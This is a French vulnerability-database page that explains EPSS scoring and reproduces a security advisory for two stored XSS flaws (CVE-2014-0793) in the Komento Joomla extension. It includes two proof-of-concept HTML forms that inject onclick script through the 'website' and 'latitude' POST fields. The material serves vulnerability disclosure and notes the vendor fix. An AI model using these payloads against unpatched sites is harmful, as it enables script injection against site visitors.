EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Vulnerable Version(s): 1.7.2 and probably prior Tested Version: 1.7.2 Advisory Publication: January 2, 2014 [without technical details] Vendor Notification: January 2, 2014 Vendor Patch: January 2, 2014 Public Disclosure: January 23, 2014 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2014-0793 Risk Level: Medium CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be exploited to perform script insertion attacks. 1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793 1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the nickname of the malicious author. The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's nickname in comment: <form action="http://[host]/?option=com_komento" method="post" name="main"> <input type="hidden" name="tmpl" value="component"> <input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='http://www.htbridge.com" onclick="javascript:alert(/immuniweb/);"'> <input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value=''> <input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment"> <input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form> 1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the address of the malicious author. The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's address in comment: <form action="http://[host]/?option=com_komento" method="post" name="main"> <input type="hidden" name="tmpl" value="component"> <input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='www.htbridge.com'> <input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value='" onclick="javascript:alert(/imuniweb/);">'> <input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment"> <input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form> ----------------------------------------------------------------------------------------------- Solution: Update to Komento 1.7.3 More Informaion: http://stackideas.com/downloads/changelog/komento ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23194 - https://www.htbridge.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in Komento Joomla Extension.
